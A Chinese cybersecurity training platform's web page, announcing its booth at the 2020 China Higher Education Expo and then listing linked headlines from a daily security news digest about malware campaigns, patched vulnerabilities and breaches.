2020高等教育博览会 以“服务新发展格局”开启高教新征程”为主题的第55届中国高等教育博览会(简称:高博会)于11月8日至10日在长沙国际会展中心成功举办。高博会是政府、高校、企业之间协同创新和共谋发展的重要平台,作为高等教育界万众瞩目的行业盛会, 面对新要求、新形势,高博会不断改革创新、提升内涵、逐步拓展,为我国从高等教育大国向高等教育强国迈进提供支持。 蚁景网安实验室亮相展厅 本届高博会精心设置了“高端论坛”“展览展示”“成果发布”“竞赛活动”四大板块主体活动。蚁景网安实验室亮相本届高博会“展览展示”板块。蚁景网安实验室是面向网络空间安全人才培养的在线实验教学服务平台。面向网络空间安全、信息安全等相关学科与专业师生,满足网安爱好者与从业人员学习需求。 蚁景网安实验室一直专注网安类教学实验课程的研发,不断完善课程知识体系与丰富课程内容;彰显在线网安教学的优势,现场也引来众多高校教师与学子的驻足。 互动现场精彩回顾 ▲ 高校教师咨询平台(部分图片) 在问与答中,老师对蚁景网安实验室有了更深次的了解,表示希望能够在之后的教学工作中充分利用平台资源。 互动抽奖环节 我们为到场参观的人员准备了众多惊喜,了解产品的同时可参与互动游戏。   关于蚁景网安实验室 蚁景网安实验室是面向网络空间安全人才培养的在线实验教学服务平台。可快速、准确、大批量构建相互独立且适合各种教学场景的虚拟实验环境,还提供除虚拟环境以外的其他各种课件资源,如视频、动画、文档、工具软件、文章等。另外实验室还提供个性化教学内容推荐及师生问答、线上考试等辅助功能,以增强学员间、师生间的互动性和共享性,为高校打造一个积极向上的网安学习圈子。 紧贴高校网安人才培养体系,蚁景网安实验室将充分发挥行业引领作用,助力中国高等教育现代化建设,为国家网络安全实践型人才培养贡献力量。
网络安全日报 2020年11月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、CostaRicto APT使用新的恶意软件进行攻击 https://securityaffairs.co/wordpress/110818/apt/costaricto-apt-cyber-mercenaries.html 2、模块化PoS恶意软件ModPipe针对餐厅和酒店业 https://securityaffairs.co/wordpress/110802/hacking/modpipe-backdoor-pos.html 3、Google解决了两个新的Chrome零日漏洞 https://securityaffairs.co/wordpress/110793/hacking/google-chrome-zero-day-flaws.html 4、施耐德Electric PLC存在加密和身份验证漏洞可被黑客利用 https://www.securityweek.com/encryption-vulnerabilities-allow-hackers-take-control-schneider-electric-plcs 5、 Ubuntu修复了gdm3本地提权漏洞 https://arstechnica.com/information-technology/2020/11/ubuntu-fixes-bugs-that-standard-users-could-use-to-become-root/ 6、动物果酱被入侵4600W账户信息被泄露 https://threatpost.com/animal-jam-hack-data-breach/161177/ 7、研究人员发表针对飞机ADS-B信号的射频指纹识别方法 https://www.theregister.com/2020/11/10/adsb_fingerprinting_research/ 8、Silver Peak SD-WAN漏洞可导致网络被接管 https://threatpost.com/silver-peak-sd-wan-bugs-network-takeover/161142 9、KuCoin首席执行官表示84%的被盗加密货币已经被追回 https://www.zdnet.com/article/kucoin-ceo-says-84-of-stolen-cryptocurrency-has-been-recovered/ 10、医疗账单服务Timberline账单遭受勒索软件攻击 https://www.infosecurity-magazine.com/news/ransomware-attack-on-medical/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页